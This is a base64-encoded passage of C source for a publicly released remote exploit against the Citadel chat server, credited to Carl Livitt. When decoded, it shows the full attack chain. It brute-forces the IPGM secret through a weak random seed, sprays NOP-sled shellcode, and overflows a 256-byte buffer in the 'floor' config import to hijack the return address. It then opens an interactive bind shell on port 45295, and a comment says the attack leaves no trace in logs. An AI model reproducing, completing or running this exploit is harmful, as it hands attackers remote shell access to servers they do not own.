ZW5BZGp1c3Q9YXRvaShvcHRhcmcpOwoJCQkJYnVmTGVuQWRqdXN0PS1idWZMZW5BZGp1c3Q7CgkJ
CQlwcmludGYoIlstXSBEZWNyZWFzaW5nIG92ZXJmbG93IGJ1ZmZlciBieSAlZCBieXRlc1xuIiwg
YnVmTGVuQWRqdXN0KTsKCQkJCWJyZWFrOwoJCQljYXNlICdiJzoKCQkJCVNFRURfU1RBUlQ9YXRv
aShvcHRhcmcpOwoJCQkJcHJpbnRmKCJbLV0gQnJ1dGVmb3JjZSBzdGFydGluZyBhdCBzcmFuZCgl
ZClcbiIsIFNFRURfU1RBUlQpOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ0InOgoJCQkJU0VFRF9NQVg9
YXRvaShvcHRhcmcpOwoJCQkJcHJpbnRmKCJbLV0gQnJ1dGVmb3JjZSBlbmRpbmcgYXQgc3JhbmQo
JWQpXG4iLCBTRUVEX01BWCk7CgkJCQlicmVhazsKCQkJY2FzZSAnbic6CgkJCQlOVU1fQVRURU1Q
VFM9YXRvaShvcHRhcmcpOwoJCQkJcHJpbnRmKCJbLV0gV2lsbCB0cnkgZXhwbG9pdCAlZCB0aW1l
c1xuIiwgTlVNX0FUVEVNUFRTKTsKCQkJCWJyZWFrOwoJCQljYXNlICdTJzoKCQkJCVJFU1BBV05f
U0xFRVA9YXRvaShvcHRhcmcpOwoJCQkJcHJpbnRmKCJbLV0gV2lsbCBzbGVlcCBmb3IgJWQgc2Vj
b25kcyBiZXR3ZWVuIGV4cGxvaXQgYXR0ZW1wdHNcbiIpOwoJCQkJYnJlYWs7CgkJCWNhc2UgJ2gn
OgoJCQlkZWZhdWx0OgoJCQkJdXNhZ2UoKTsKCQkJCWV4aXQoMCk7CgkJfQoJfQoKCXdoaWxlKGV4
cGxvaXRBdHRlbXB0cysrIDwgTlVNX0FUVEVNUFRTICYmIChyZXRWYWw9YXR0ZW1wdF9leHBsb2l0
KCkpIT1TVUNDRVNTKSB7CgkJc3dpdGNoKHJldFZhbCkgewoJCQljYXNlIEhPU1RfTk9UX1JFU09M
VkVEOgoJCQkJcHJpbnRmKCJbKl0gQ291bGRuJ3QgY29ubmVjdCB0byBob3N0OiAlcyBub3QgZm91
bmQuXG4iLCBob3N0KTsKCQkJCWV4aXQoMSk7CgkJCQlicmVhazsKCQkJY2FzZSBTT0NLRVRfRVJS
OgoJCQkJcHJpbnRmKCJbKl0gQ291bGRuJ3QgZ3JhYiBhIHNvY2tldCFcbiIpOwoJCQkJZXhpdCgx
KTsKCQkJCWJyZWFrOwoJCQljYXNlIENPTk5FQ1RfRVJSOgoJCQkJcHJpbnRmKCJbKl0gQ29ubmVj
dGlvbiB0byAlcyB3YXMgcmVqZWN0ZWRcbiIsaG9zdCk7CgkJCQlleGl0KDEpOwoJCQljYXNlIE5P
REVMQVlfRVJSOgoJCQkJcHJpbnRmKCJbIV0gV0FSTklORzogRmFpbGVkIHRvIHNldCBUQ1BfTk9E
RUxBWSBvcHRpb24gb24gc29ja2V0XG4iKTsKCQkJCWJyZWFrOwoJCQljYXNlIEJSVVRFX0ZPUkNF
X0VYSEFVU1RFRDoKCQkJCXByaW50ZigiWypdIEJydXRlIGZvcmNlIG9wZXJhdGlvbiBmYWlsZWQu
IEFib3J0aW5nLlxuIik7CgkJCQlleGl0KDEpOwoJCQkJYnJlYWs7CgkJCWNhc2UgSU5DT1JSRUNU
X0lQR01fU0VDUkVUOgoJCQkJcHJpbnRmKCJbKl0gSVBHTSBzZWNyZXQgaW5jb3JyZWN0IVxuIik7
CgkJCQlleGl0KDEpOwoJCQkJYnJlYWs7CgkJCWNhc2UgU0hFTExfTk9UX0ZPVU5EOgoJCQkJcHJp
bnRmKCJbIV0gVGhpcyBhdHRlbXB0IGZhaWxlZC4uLiB3YWl0aW5nIGZvciBJTklUIHRvIHJlc3Bh
d24gQ2l0YWRlbC4uLlxuIik7CgkJCQlzbGVlcChSRVNQQVdOX1NMRUVQKTsKCQkJCWJyZWFrOwoJ
CQlkZWZhdWx0OgoJCQkJcHJpbnRmKCJbKl0gRVJST1I6IFRoZXJlIHdhcyBubyBlcnJvciFcbiIp
OwoJCQkJYnJlYWs7CgkJfQoJfQoJaWYoZXhwbG9pdEF0dGVtcHRzPT1OVU1fQVRURU1QVFMpCgkJ
cHJpbnRmKCJbLV0gRXhwbG9pdCBmYWlsZWQgJWQgdGltZXMuIEFib3J0aW5nLlxuIiwgZXhwbG9p
dEF0dGVtcHRzKTsKCglwcmludGYoIlxuSGF2ZSBhIG5pY2UgZGF5IVxuIik7CglleGl0KDApOwp9
CgppbnQgYXR0ZW1wdF9leHBsb2l0KHZvaWQpIHsKCWludCBtYWdpYzsKCgkvLyBDb25uZWN0IHRv
IHRoZSBob3N0IGFuZCBncmFiIHRoZSBiYW5uZXIKCXByaW50ZigiWy1dIENvbm5lY3RpbmcgdG8g
Q2l0YWRlbCBzZXJ2ZXIgKCVzKSBvbiBwb3J0ICVkXG4iLCBob3N0LCBDSVRBREVMX1BPUlQpOwoJ
aWYoKHNvY2s9Y29ubmVjdF90b19ob3N0KGhvc3QsQ0lUQURFTF9QT1JUKSkgPCAxKQoJCXJldHVy
biBzb2NrOwoJbXlfcmVjdihzb2NrKTsKCgkvLyBBdHRlbXB0IHRvIGJydXRlLWZvcmNlIHRoZSBz
ZWNyZXQgSVBHTSBhdXRoZW50aWNhdGlvbiBudW1iZXIuCgkvLyBPbmx5IGRvIHRoaXMgaWYgbWFn
aWMgbnVtYmVyIGlzIG5vdCBnaXZlbiBvbiBjb21tYW5kLWxpbmUgKC1pIGZsYWcpLgoJbWFnaWM9
bWFnaWNOdW1iZXI7CglpZighbWFnaWMpIHsKCQlwcmludGYoIlstXSBTdGFydGluZyBicnV0ZWZv
cmNlIG9wZXJhdGlvbiAuLi5cbiIpO2ZmbHVzaChzdGRvdXQpOwoJCWlmKChtYWdpYz1icnV0ZV9m
b3JjZShzb2NrKSk9PS0xKSB7CgkJCXJldHVybiBCUlVURV9GT1JDRV9FWEhBVVNURUQ7CgkJfQoJ
CXByaW50ZigiWy1dIFN1Y2Nlc3MhIElQR009JWQgKHNlZWQ6ICVkKVxuIiwgbWFnaWMsIHNlZWQp
OwoJCW1hZ2ljTnVtYmVyPW1hZ2ljOyAvLyBzZXQgbWFnaWNOdW1iZXIgc28gd2UgZG9uJ3QgcnVu
IGJydXRlZm9yY2VyIGFnYWluCgoJCS8vIFRlYXIgZG93biB0aGUgc29ja2V0LCBhbmQgcmVjb25u
ZWN0IGFnYWluICh0byByZWF1dGhlbnRpY2F0ZSksCgkJcHJpbnRmKCJbLV0gUmUtZXN0YWJsaXNo
aW5nIGNvbm5lY3Rpb24gdG8gJXMgLi4uXG4iLGhvc3QpOwoJCW15X3NlbmQoc29jaywgIlFVSVRc
biIpOwoJCW15X3JlY3Yoc29jayk7CgkJY2xvc2Uoc29jayk7CgkJaWYoIShzb2NrPWNvbm5lY3Rf
dG9faG9zdChob3N0LENJVEFERUxfUE9SVCkpKQoJCQlyZXR1cm4gc29jazsKCX0KCgkvLyBBdXRo
ZW50aWNhdGUgYXMgaW50ZXJuYWwgcHJvZ3JhbSwgYnV0IHVubGlrZSB0aGUgYnJ1dGUtZm9yY2Ug
YXR0ZW1wdHMsCgkvLyB0YWcgNEsgb2Ygc2hlbGxjb2RlIG9uIHRoZSBlbmQgb2YgdGhlIHJlcXVl
c3QKCXByaW50ZigiWy1dIEF1dGhlbnRpY2F0aW5nIGFzIGludGVybmFsIHByb2dhbSAuLi5cbiIp
OwoJbWFrZV9zaGVsbGNvZGUoYnVmKTsKCW15X3NlbmQoc29jaywgIklQR00gJWQgJXNcbiIsIG1h
Z2ljLCBidWYpOwoJTE9DQUxfTkVUKCk7CglidWZbcmVjdihzb2NrLGJ1ZixTSVotMSwwKV09MDsg
Ly8gZG9uJ3QgZG8gdGhpcyBhdCBob21lLCBraWRzIQoJaWYoc3RybmNtcChidWYsICIyMDAiLDMp
KSB7CgkJcmV0dXJuIElOQ09SUkVDVF9JUEdNX1NFQ1JFVDsKCX0KCgkvLyBJbmNyZWFzZSB0aGUg
Y2hhbmNlIG9mIHRoZSBzaGVsbGNvZGUgYmVpbmcgaW4gdGhlIGNvcnJlY3QgcGxhY2UgYXQgdGhl
CgkvLyBjb3JyZWN0IHRpbWUgYnkgc2VuZGluZyBpdCBtYW55IHRpbWVzLi4uIHRoaXMgbGV0cyBl
YWNoIHdvcmtlciB0aHJlYWQKCS8vIGluIENpdHNlcnZlciBjb3B5IHRoZSBzaGVsbGNvZGUgaW50
byBhIGJ1ZmZlciwgbWFraW5nIGl0IGFsbW9zdAoJLy8gY2VydGFpbiB0aGF0IHdlIGNhbiBqdW1w
IHRvIGl0IHN1Y2Nlc3NmdWxseSAoaXQgaGFzbid0IGZhaWxlZCBvbmNlISkKCS8vIFNoZWxsY29k
ZSBpcyBzdG9yZWQgaW4gYSBidWZmZXIgdGhhdCBpcyB1c2VkIGJ5IENpdHNlcnZlciB0byBob2xk
CgkvLyB0ZXh0IHRoYXQgd291bGQgbm9ybWFsbHkgZ2V0IGxvZ2dlZCB0byBzdGRlcnIuIEFzIENp
dHNlcnZlciB1c3VhbGx5CgkvLyBydW5zIGFzIGEgZGFlbW9uLCB0aGlzIGV4cGxvaXQgZG9lc24n
dCBzaG93IGluIGFueSBsb2dzIGF0IGFsbC4KCWluY3JlYXNlX2NoYW5jZXMoc29jayxtYWdpYyk7
CgoJLy8gRW50ZXIgY29uZmlndXJhdGlvbiBpbXBvcnQgbW9kZSwgc3BlY2lmaWNhbGx5IHRoZSAn
Zmxvb3InIHNlY3Rpb24sCgkvLyBhbHRob3VnaCBJIHRoaW5rIG90aGVycyBtYXkgYmUgdnVsbmVy
YWJsZSB0b28KCXByaW50ZigiWy1dIEVudGVyaW5nIGNvbmZpZyBtb2RlIC4uLlxuIik7CglteV9z
ZW5kKHNvY2ssICJBUlRWIGltcG9ydFxuIik7CglteV9yZWN2KHNvY2spOwoJbXlfc2VuZChzb2Nr
LCAiZmxvb3JcbiIpOwoKCS8vIFN0YXJ0IHRoZSB2dWxuZXJhYmxlIGltcG9ydCBwcm9jZXNzIHdo
aWNoIGJsaW5kbHkgcmVhZHMgaW4gNiBsaW5lcyBvZgoJLy8gZGF0YS4gVGhlc2UgbGluZXMgYXJl
IHJlYWQgaW50byBidWZmZXJzIDRLIGluIHNpemUsIGFuZCB0aGUgZGF0YSBpcwoJLy8gYWxzbyB0
cnVuY2F0ZWQgYXQgNEsuLi4gVW5mb3J0dW5hdGVseSwgdGhlIDNyZCBsaW5lIGdvZXMgaW50byBh
IDI1NgoJLy8gYnl0ZSBidWZmZXIgd2hpY2gsIG9mIGNvdXJzZSwgb3ZlcmZsb3dzLi4KCXByaW50
ZigiWy1dIFNlbmRpbmcgZXhwbG9pdCBzdHJpbmdzIC4uLlxuIik7CglteV9zZW5kKHNvY2ssICJh
XG4iKTsKCW15X3NlbmQoc29jaywgImFcbiIpOwoKCS8vIE92ZXJmbG93IG9jY3VycyB3aGVuIHRo
aXMgYnVmZmVyIGlzIHJlYWQgYnkgdGhlIHNlcnZlciwgc28gbWFrZSBzdXJlCgkvLyBpdCdzIHBh
ZGRlZCB0byB0aGUgY29ycmVjdCBzaXplIHdpdGggdGhlIGV2aWwgUkVUIGFkZHJlc3MgdGFnZ2Vk
IG9uCgkvLyB0aGUgZW5kLgoJbWFrZV9leHBsb2l0YnVmKGJ1Zik7CglteV9zZW5kKHNvY2ssYnVm
KTsKCgkvLyBTZW5kIHRoZSBmaW5hbCAzIGxpbmVzIG9mIHRleHQuIEl0IGNhbiBiZSBhbnl0aGlu
ZyB3ZSBsaWtlLi4uCgltYWtlX3NoZWxsY29kZShidWYpOwoJZm9yKGk9MDtpPDM7aSsrKQoJCW15
X3NlbmQoc29jayxidWYpOwoKCS8vIFRoZSBzZXJ2ZXIgd2lsbCBub3cgaGF2ZSBSRVR1cm5lZCB0
byB0aGUgbmV3LCBtYWxpY2lvdXMgc2F2ZWQgRUlQIGFuZAoJLy8gaXMgZXhlY3V0aW5nIHRoZSBz
aGVsbGNvZGUuLi4gV2UgY2xvc2UgdGhlIGNvbm5lY3Rpb24sIHdhaXQgYSBjb3VwbGUgb2YKCS8v
IHNlY29uZHMgYW5kIHRoZW4gY29ubmVjdCB0byB0aGUgc2hlbGwgd2hpY2ggaXMgYm91bmQgdG8g
cG9ydCA0NTI5NS4KCWNsb3NlKHNvY2spOwoKCXByaW50ZigiWy1dIFdhaXRpbmcgYmVmb3JlIGNv
bm5lY3RpbmcgdG8gc2hlbGwuLi5cbiIpOwoJc2xlZXAoMik7CglwcmludGYoIlstXSBOb3cgY29u
bmVjdGluZyB0byBzaGVsbC4uLlxuIik7CglpZighKHNvY2s9Y29ubmVjdF90b19ob3N0KGhvc3Qs
U0hFTExfUE9SVCkpKSB7CgkJcmV0dXJuIFNIRUxMX05PVF9GT1VORDsKCX0KCXByaW50ZigiWy1d
IENvbm5lY3RlZCEgWW91IGNhbiB0eXBlIGNvbW1hbmRzIG5vdzpcbiIpOwoKICAgICAgICAvLyBO
b3cgbGV0IHRoZSBhdHRhY2tlciBpc3N1ZSBjb21tYW5kcyB0byB0aGUgcmVtb3RlCiAgICAgICAg
Ly8gc2hlbGwsIGp1c3QgYXMgaWYgKHMpaGUgaGFkIGxhdW5jaGVkICduYyBob3N0IDQ1Mjk1Jy4K
ICAgICAgICBkbyB7CiAgICAgICAgICAgICAgICBGRF9aRVJPKCZyZmRzKTsKICAgICAgICAgICAg
ICAgIEZEX1NFVCgwLCAmcmZkcyk7CiAgICAgICAgICAgICAgICBGRF9TRVQoc29jaywgJnJmZHMp
OwogICAgICAgICAgICAgICAgcmV0VmFsPXNlbGVjdChzb2NrKzEsICZyZmRzLCBOVUxMLCBOVUxM
LCBOVUxMKTsKICAgICAgICAgICAgICAgIGlmKHJldFZhbCkgewogICAgICAgICAgICAgICAgICAg
ICAgICBpZihGRF9JU1NFVChzb2NrLCAmcmZkcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICBidWZbKHI9cmVjdihzb2NrLCBidWYsIFNJWi0xLDApKV09J1wwJzsgLy8gYmFkIQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByaW50ZigiJXMiLCBidWYpOwogICAgICAg
ICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKEZEX0lTU0VUKDAs
ICZyZmRzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJ1Zlsocj1yZWFkKDAs
IGJ1ZiwgU0laLTEpKV09J1wwJzsgLy8gYmFkIQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIHNlbmQoc29jaywgYnVmLCBzdHJsZW4oYnVmKSwgMCk7CiAgICAgICAgICAgICAgICAgICAg
ICAgIH0KCiAgICAgICAgICAgICAgICB9CiAgICAgICAgfSB3aGlsZShyZXRWYWwgJiYgcik7IC8v
IGxvb3AgdW50aWwgY29ubmVjdGlvbiB0ZXJtaW5hdGVzCgoJLy8gQmUgYW4gZW52aXJvbm1lbnRh
bGx5IGZyaWVuZGx5IHByb2dyYW1tZXIgYW5kIGZyZWUgcmVzb3VyY2VzIGJlZm9yZSBleGl0aW5n
Li4uCgljbG9zZShzb2NrKTsKCXJldHVybiAxOwp9CgovLyBHaXZlbiBhIGhvc3RuYW1lIChvciBJ
UCBhZGRyZXNzKSBhbmQgYSBwb3J0IG51bWJlciwgdGhpcyBmdW5jdGlvbgovLyBjb25uZWN0cyBh
IFRDUCBzdHJlYW0gYW5kIHJldHVybnMgYSBzb2NrZXQgbnVtYmVyIChvciBkaWVzIHRyeWluZykK
aW50IGNvbm5lY3RfdG9faG9zdChjaGFyICpoLCBpbnQgcCkgewoJaW50IHNvY2ssdG1wPTE7CiAg
ICAgICAgc3RydWN0IGhvc3RlbnQgKmhvc3Q7CiAgICAgICAgc3RydWN0IHNvY2thZGRyX2luIHNh
ZGRyOwoKCWlmKChob3N0PWdldGhvc3RieW5hbWUoaCkpPT1OVUxMKSB7CiAgICAgICAgICAgICAg
ICByZXR1cm4gSE9TVF9OT1RfUkVTT0xWRUQ7CiAgICAgICAgfQoKICAgICAgICBpZigoc29jaz1z
b2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSxJUFBST1RPX1RDUCkpPT0tMSkgewogICAgICAgICAg
ICAgICAgcmV0dXJuIFNPQ0tFVF9FUlI7CiAgICAgICAgfQogICAgICAgIG1lbXNldCgodm9pZCAq
KSZzYWRkciwgMCwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpOwogICAgICAgIHNhZGRyLnNp
bl9mYW1pbHk9QUZfSU5FVDsKICAgICAgICBzYWRkci5zaW5fYWRkci5zX2FkZHI9KigodW5zaWdu
ZWQgbG9uZyAqKWhvc3QtPmhfYWRkcl9saXN0WzBdKTsKICAgICAgICBzYWRkci5zaW5fcG9ydD1o
dG9ucyhwKTsKICAgICAgICBpZihjb25uZWN0KHNvY2ssIChzdHJ1Y3Qgc29ja2FkZHIgKikmc2Fk
ZHIsIHNpemVvZihzYWRkcikpPDApIHsKICAgICAgICAgICAgICAgIHJldHVybiBDT05ORUNUX0VS
UjsKICAgICAgICB9CgoJLy8gV2Ugd2FudCB0aGlzIHRvIHN0b3AgYmFkIGJ1ZmZlcmluZyBvbiBm
YXN0IG5ldHdvcmtzLi4uIFRDUF9OT0RFTEFZIHNlZW1zCgkvLyB0byBmaXggc3RyYW5nZSBhbmQg
aW50ZXJtaXR0ZW50IGJ1ZmZlcmluZyBpc3N1ZXMgb24gc29tZSB0ZXN0IGJveGVzLAoJLy8gZXNw
ZWNpYWxseSB3aGVuIGNvdXBsZWQgd2l0aCAnbG9jYWwgbmV0JyBtb2RlICggU2VlICdoZWxwJyBp
biB1c2FnZSgpICkuCglpZihzZXRzb2Nrb3B0KHNvY2ssIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxB
WSwgKHZvaWQgKikmdG1wLCBzaXplb2YodG1wKSkhPTApIHsKCQlyZXR1cm4gTk9ERUxBWV9FUlI7
Cgl9CgoJcmV0dXJuIHNvY2s7Cn0KCi8vIFRoaXMgd2lsbCBicnV0ZS1mb3JjZSB0aGUgc2VjcmV0
IElQR00gKEludGVybmFsIFByb0dyYU0pIGF1dGhlbnRpY2F0aW9uCi8vIGNvZGUgZm9yIHRoZSBD
aXRhZGVsIHNlcnZlci4gVGhlIElQR00gc2VjcmV0cyBhcmUgZGV0ZXJtaW5lZCBhdCBpbnN0YWxs
Ci8vIHRpbWUgYW5kIHVzZSBhIHZlcnkgd2VhayByYW5kb20gbnVtYmVyIGdlbmVyYXRvciB0aGF0
IGNyZWF0ZXMgcHJlY2lzZWx5Ci8vIHJlcHJvZHVjYWJsZSAncmFuZG9tJyBudW1iZXJzLiBCeSBk
ZWZhdWx0LCB0aGlzIGJydXRlLWZvcmNlciBpcyBzZXR1cCB0bwovLyB0cnkgYWJvdXQgMjk5OTAg
MzItYml0ICdzZWNyZXQnIG51bWJlcnMuLi4gaXQncyBvdmVya2lsbCBidXQgY2F0Y2hlcyAxMDAl
Ci8vIG9mIENpdGFkZWwgaW5zdGFsbGF0aW9ucyB0ZXN0ZWQgc28gZmFyLgovLyBSZXR1cm5zIElQ
R00gc2VjcmV0IG51bWJlciBpZiBzdWNjZXNzZnVsLCAtMSBpZiBub3QuCi8vIE5vdGU6IFRoaXMg
Y291bGQgYmUgYSBsb3QgbW9yZSBlZmZpY2llbnQuLi4gYnV0IHNlZWluZyBhcyB0aGlzIGlzIGEg
cHVibGljCi8vIHJlbGVhc2UsIGJldHRlciBub3QgbWFrZSBpdCBfdG9vXyBlZmZpY2llbnQsIGVo
PwppbnQgYnJ1dGVfZm9yY2UoaW50IHMpIHsKICAgICAgICBjaGFyIGJ1ZltTSVpdOwoJaW50IGV4
aXRGbGFnPTAsIHJhbmRvbU51bTsKCgkvLyBMb29wIHRocm91Z2ggZWFjaCBzZWVkIGFuZCB0cnkg
dGhlIHJhbmRvbSBudW1iZXIuLi4KCXNlZWQ9U0VFRF9TVEFSVDsKICAgICAgICB3aGlsZSghZXhp
dEZsYWcgJiYgc2VlZDw9U0VFRF9NQVgpIHsKCQlwcmludGYoIlstXSBCcnV0ZWZvcmNpbmcgLi4u
ICVkIG9mICVkXHIiLCBzZWVkLCBTRUVEX01BWCk7ZmZsdXNoKHN0ZG91dCk7CgkJc3JhbmQoc2Vl
ZCk7CiAgICAgICAgICAgICAgICBteV9zZW5kKHMsICJJUEdNICVkXG4iLCAocmFuZG9tTnVtPXJh
bmQoKSkpOwoJCW1lbXNldChidWYsMCxTSVotMSk7CgkJTE9DQUxfTkVUKCk7CiAgICAgICAgICAg
ICAgICByZWN2KHMsIGJ1ZiwgU0laLTEsIDApOwogICAgICAgICAgICAgICAgaWYoIXN0cm5jbXAo
YnVmLCAiMjAwIiwzKSkKICAgICAgICAgICAgICAgICAgICAgICAgZXhpdEZsYWc9MTsKCQlzZWVk
Kys7CiAgICAgICAgfQoJcHJpbnRmKCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcciIpOwoKCS8vIFJldHVybiB0aGUgbWFnaWMg
bnVtYmVyIHRvIHRoZSBjYWxsZXIgaWYgc3VjY2Vzc2Z1bC4KCS8vIE5vdGU6IHdlIGhhdmUgYWxy
ZWFkeSBiZWVuIHN1Y2Nlc3NmdWxseSBJUEdNIGF1dGhlbnRpY2F0ZWQsCgkvLyBzbyBubyBuZWVk
IHRvIGRvIGl0IGFnYWluIGluIHRoZSBjYWxsaW5nIGZ1bmN0aW9uLgoJaWYoZXhpdEZsYWcpCgkJ
cmV0dXJuIHJhbmRvbU51bTsKCWVsc2UKCQlyZXR1cm4gLTE7Cn0KCi8vIEZhaXJseSBzdGFuZGFy
ZCBmdW5jdGlvbiB0byBmaWxsIGEgYnVmZmVyIHdpdGggTEVOIGJ5dGVzIG9mIHBhZGRpbmcsCi8v
IGZvbGxvd2VkIGJ5IHRoZSBSRVQgYWRkcmVzcyB0byBvdmVyd3JpdGUgc2F2ZWQgRUlQIHdpdGgu
IEFuIGV4dHJhIG5vbi0KLy8gcHJpbnRhYmxlIGNoYXJhY3RlciBpcyBhZGRlZCBhdCB0aGUgZW5k
IG9mIHRoZSBidWZmZXIgYmVjYXVzZSB0aGUgQ2l0YWRlbAovLyBzZXJ2ZXIgd2lsbCBjb252ZXJ0
IHRoZSBsYXN0IG5vbi1wcmludGFibGUgY2hhcmFjdGVyIGluIGEgYnVmZmVyIHRvIE5VTEwuCnZv
aWQgbWFrZV9leHBsb2l0YnVmKGNoYXIgKmIpIHsKCWludCBsOwoKCW1lbXNldChiLDB4MDAsU0la
LTEpOwoJbWVtc2V0KGIsJ2EnLExFTitidWZMZW5BZGp1c3QpOwoJbD1zdHJsZW4oYik7CgliW2xd
PXJldEFkZHImMHhmZjsKCWJbbCsxXT0ocmV0QWRkciYweGZmMDApPj44OwoJYltsKzJdPShyZXRB
ZGRyJjB4ZmYwMDAwKT4+MTY7CgliW2wrM109KHJldEFkZHImMHhmZjAwMDAwMCk+PjI0OwoKCS8v
IG1ha2Ugc3VyZSB0aGVyZSBpcyBhIG5vbi1wcmludGFibGUgY2hhciBfYWZ0ZXJfIHRoZSBSRVQg
YWRkcmVzcywgYmVjYXVzZSB0aGUgc2VydmVyCgkvLyB3aWxsIHJlcGxhY2UgdGhlIGxhc3Qgbm9u
LXByaW50YWJsZSBjaGFyIHdpdGggYSBOVUxMLi4uIHdlIGRvbid0IHdhbnQgb3VyIFJFVCBOVUxM
aWZpZWQhCglzdHJjYXQoYiwgIl9ceDAxXG4iKTsKfQoKLy8gUGFkIG91dCB0aGUgc2hlbGxjb2Rl
IGJ1ZmZlciB3aXRoIE5PUHMgdG8gbWFrZSBpdCBlYXNpZXIgdG8gaGl0IHRoZQovLyBzaGVsbGNv
ZGUgd2hlbiB0aGUgc2VydmVyIFJFVHVybnMgZnJvbSB0aGUgdnVsbmVyYWJsZSBmdW5jdGlvbi4g
QWdhaW4sCi8vIGEgbm9uLXByaW50YWJsZSBjaGFyIGlzIGFkZGVkIHRvIHRoZSBlbmQgb2YgdGhl
IGJ1ZmZlci4Kdm9pZCBtYWtlX3NoZWxsY29kZShjaGFyICpiKSB7CglpbnQgbDsKCgltZW1zZXQo
YiwwLFNJWi0xKTsKCW1lbXNldChiLDB4OTAsU0laLTQwKTsgLy8gNDAgaXMgYXJiaXRyYXJ5IC0g
ZW5vdWdoIHJvb20gZm9yIElQR00geHh4eHh4eHh4eAoJbWVtY3B5KGIrKFNJWi00Miktc3RybGVu
KHNoZWxsY29kZSksIHNoZWxsY29kZSwgc3RybGVuKHNoZWxsY29kZSkpOwoJc3RyY2F0KGIsIlx4
MDEiKTsgLy8gbm9ucHJpbnRhYmxlIGNoYWFyCn0KCi8vIEhhbmR5IGxpdHRsZSBmdW5jdGlvbiB0
byBzZW5kIGZvcm1hdHRhYmxlIGRhdGEgZG93biBhIHNvY2tldC4Kdm9pZCBteV9zZW5kKGludCBz
LCBjaGFyICpiLCAuLi4pIHsKCXZhX2xpc3QgYXA7CgljaGFyICpidWY7CgoJdmFfc3RhcnQoYXAs
Yik7Cgl2YXNwcmludGYoJmJ1ZixiLGFwKTsKCXNlbmQocyxidWYsc3RybGVuKGJ1ZiksMCk7Cgl2
YV9lbmQoYXApOwoJZnJlZShidWYpOwp9CgovLyBBbm90aGVyIGhhbmR5IGZ1bmN0aW9uIHRvIHJl
YWQgZGF0YSBmcm9tIGEgc29ja2V0Lgp2b2lkIG15X3JlY3YoaW50IHMpIHsKCWludCBsZW47Cglj
aGFyIGJ1ZltTSVpdOwoKCUxPQ0FMX05FVCgpOwoJbGVuPXJlY3YocywgYnVmLCBTSVotMSwgMCk7
CiAgICAgICAgYnVmW2xlbl09MDsKCS8vIGRvIHN0dWZmIHdpdGggYnVmW10gaGVyZS4uLgoJLy9w
cmludGYoIiVzIik7Cn0KCi8vIE5vIHByaXplcyBmb3IgZ3Vlc3Npbmcgd2hhdCB0aGlzIGRvZXMu
Li4uCi8vIE5vdGU6IHRoaXMgc3R5bGUgb2YgbXVsdGktbGluZSB0ZXh0IHN0cmluZ3MgaXMgZGVw
cmVjYXRlZCBhbmQgd29uJ3QgY29tcGlsZQovLyB1bmRlciBHQ0MgMy4zIC0gSSBkb24ndCBjYXJl
Lgp2b2lkIHVzYWdlKHZvaWQpIHsKCXByaW50ZigiCkNpdGFkZWwgRXhwbG9pdCAtIFB1YmxpYyBS
ZWxlYXNlIFZlcnNpb24KQnkgQ2FybCBMaXZpdHQgKGNhcmxsaXZpdHQgYXQgaHVzaCBkb3QgY29t
KQoKRmxhZ3M6CgktdCB0YXJnZXQJQXR0YWNrIGhvc3QgJ3RhcmdldCcKCS1sCQlVc2UgJ2xvY2Fs
IG5ldCcgbW9kZTogYWRkcyBzbWFsbCBwYXVzZXMKCQkJYmV0d2VlbiBzZW5kKCkgYW5kIHJlY3Yo
KSBjYWxscy4gSGFzIG1vcmUKCQkJY2hhbmNlIG9mIHN1Y2NlZGluZyBvbiBmYXN0IG5ldHdvcmtz
CgktaSBudW1iZXIJU3BlY2lmeSBJUEdNIG51bWJlciBpZiBrbm93biAtIGF2b2lkcwoJCQlkb2lu
ZyBicnV0ZSBmb3JjZSBkaXNjb3ZlcnkKCS1zIG5hbm9zZWNzCVNsZWVwIGZvciAnbmFub3NlY3Mn
IHdoZW4gaW4gbG9jYWwgbmV0IG1vZGUKCQkJZGVmYXVsdDogMTAwMDAwCgktciBhZGRyZXNzCVNw
ZWNpZnkgUkVUIGFkZHJlc3MKCS1hIGFkanVzdG1lbnQJQWRkICdhZGp1c3RtZW50JyB0byBSRVQg
YWRkcmVzcwoJLUEgYWRqdXN0bWVudAlTdWJ0cmFjdCAnYWRqdXN0bWVudCcgdG8gUkVUIGFkZHJl
c3MKCS1vIGFkanVzdG1lbnQJQWRkICdhZGp1c3RtZW50JyB0byBvdmVyZmxvdyBidWZmZXIgbGVu
Z3RoCgktTyBhZGp1c3RtZW50CVN1YnRyYWN0ICdhZGp1c3RtZW50JyBmcm9tIG92ZXJmbG93IGJ1
ZmZlciBsZW5ndGgKCS1iIG51bWJlcglTdGFydCBicnV0ZWZvcmNlIHNyYW5kKCkgc2VlZCBhdCAn
bnVtYmVyJwoJLUIgbnVtYmVyCUVuZCBicnV0ZWZvcmNlIHNyYW5kKCkgc2VlZCBhdCAnbnVtYmVy
JwoJLW4gbnVtYmVyCUF0dGVtcHQgdGhlIGV4cGxvaXQgJ251bWJlcicgdGltZXMKCS1TIHNlY29u
ZHMJU2xlZXAgZm9yICdzZWNvbmRzJyBiZXR3ZWVuIGV4cGxvaXQgYXR0ZW1wdHMKCS1oCQlZb3Un
cmUgcmVhZGluZyBpdC4KIik7Cn0KCi8vIFdyYXBwZXIgZm9yIG5hbm9zbGVlcCgpLi4uIGp1c3Qg
cGFzcyAnbicgbmFub3NlY29uZHMgdG8gaXQuCnZvaWQgbXlfc2xlZXAoaW50IG4pIHsKCXQudHZf
c2VjPTA7Cgl0LnR2X25zZWM9bjsKCW5hbm9zbGVlcCgmdCwmdCk7Cn0KCi8vIEZsb29kIHRoZSBj
aXRhZGVsIHNlcnZlciBDSEFOQ0VfQ09VTlRFUiB0aW1lcyB3aXRoIHRoZSBzaGVsbGNvZGUKLy8g
dG8gdHJ5IGFuZCBtYWtlIGl0IG1vcmUgbGlrZWx5IGZvciB0aGUgc2hlbGxjb2RlIHRvIGJlIGlu
